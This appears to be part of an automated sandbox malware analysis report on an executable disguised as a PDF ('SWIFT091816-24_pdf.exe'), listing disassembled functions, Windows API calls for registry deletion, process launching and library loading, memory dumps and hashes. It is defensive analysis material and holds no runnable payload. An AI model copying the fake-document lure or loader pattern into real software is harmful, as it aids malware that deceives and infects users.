RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(?,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.2471251623.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2471237821.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471265197.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471278641.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 00405F22 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F4C
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F6D
RegCloseKey.ADVAPI32(?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F90

Strings

Call, xrefs: 00405F25

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: 7b18913d2a4f7d1a63d21b64be8b0843a819b9ea39c2317e7442ba644687e02f
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: 1801483110060AAECB218F66ED08EAB3BA8EF94350F01402AFD44D2260D734D964CBA5

Function 00405A09 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A0F
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A19
lstrcatW.KERNEL32(?,0040A014), ref: 00405A2B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A09

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction ID: 6c4fcacab342d11fcc3e0291a3358bee332e4b98312e181ff459d3a43eef6c86
Opcode Fuzzy Hash: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction Fuzzy Hash: E4D0A771101D306AC211EB548C04DDF72ACAE45344381007BF502B30E1CB7C1D618BFE

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,?,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,?,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405B11 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"), ref: 00405B6A
GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\), ref: 00405B7A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B11

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-3081826266
Opcode ID: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction ID: 9ab821bc962df094d04e13ee53e7cef05d0bc350337be3d6547239d71e0b1b07
Opcode Fuzzy Hash: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction Fuzzy Hash: FFF0A429504E5115D72272361D49EBF3669CF86324B1A063FF852B22D1DB3CB952CCBD

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00403809 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,74DF3420,00000000,C:\Users\user\AppData\Local\Temp\,004037E1,004035F6,?), ref: 00403823
GlobalFree.KERNEL32(?), ref: 0040382A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403809

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction ID: 1a021970d57ae41c51ef9a97853206db199f5c9852ffd88fd16926185a7b9e14
Opcode Fuzzy Hash: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction Fuzzy Hash: 72E0EC3350162097C7216F55BD08B6AB7ACAF4DB22F4584BAE880BB2608B745C428BD8

Function 00405A55 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SWIFT091816-24_pdf.exe,C:\Users\user\Desktop\SWIFT091816-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A5B
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SWIFT091816-24_pdf.exe,C:\Users\user\Desktop\SWIFT091816-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A6B

Strings

C:\Users\user\Desktop, xrefs: 00405A55

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction ID: bc07cd37d8a58f62a2b9a6dad95115890aa924a9f687d43278fd1307a4d4e217
Opcode Fuzzy Hash: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction Fuzzy Hash: 7ED05EB2400D209AD312A714DC84DAF77ACEF1530074A446BF441A31A0D7785D918AA9

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2471251623.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2471237821.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471265197.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471278641.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
